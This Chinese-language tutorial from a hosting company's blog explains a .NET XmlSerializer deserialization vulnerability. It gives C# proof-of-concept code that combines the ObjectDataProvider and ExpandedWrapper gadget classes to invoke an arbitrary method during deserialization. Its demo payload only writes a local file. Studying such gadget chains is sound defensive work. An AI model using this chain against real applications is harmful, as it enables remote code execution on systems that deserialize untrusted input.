您好,登錄后才能下訂單哦!
小編今天帶大家了解.Net反序列化漏洞XmlSerializer的示例分析,文中知識點介紹的非常詳細。覺得有幫助的朋友可以跟著小編一起瀏覽文章的內容,希望能夠幫助更多想解決這個問題的朋友找到問題的答案,下面跟著小編一起深入學習“.Net反序列化漏洞XmlSerializer的示例分析”的知識吧。
條件:
初始化對象時,類型可控:new XmlSerializer(type可控)
反序列化對象時,輸入內容可控:serializer.Deserialize(fi可控)
兩個關鍵類:ObjectDataProvider, ExpandedWrapper
//PresentationFramework.dll v4.0.0.0 System.Windows.Data.ObjectDataProvider //System.Data.Services.dll v4.0.0.0 System.Data.Services.Internal.ExpandedWrapper
Payload生成:
public static void serializeObjectWithXmlSer() { ExpandedWrapper<Class2, ObjectDataProvider> eobj = new ExpandedWrapper<Class2,ObjectDataProvider>(); XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<Class2, ObjectDataProvider>)); eobj.ProjectedProperty0 = new ObjectDataProvider(); eobj.ProjectedProperty0.ObjectInstance = new Class2(); eobj.ProjectedProperty0.MethodName = "writeFile"; eobj.ProjectedProperty0.MethodParameters.Add("xxxxx"); eobj.ProjectedProperty0.MethodParameters.Add("ser.txt"); TextWriter fo = new StreamWriter("d:/tmp/xmlser.txt"); serializer.Serialize(fo, eobj); fo.Close(); }
觸發Payload:
public static void deserializeObjectWithXmlSer() { XmlSerializer ser = new XmlSerializer(typeof(ExpandedWrapper<Class2, ObjectDataProvider>)); TextReader fi = new StreamReader("d:/tmp/xmlser.txt"); ser.Deserialize(fi); fi.Close(); }
感謝大家的閱讀,以上就是“.Net反序列化漏洞XmlSerializer的示例分析”的全部內容了,學會的朋友趕緊操作起來吧。相信億速云小編一定會給大家帶來更優質的文章。謝謝大家對億速云網站的支持!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。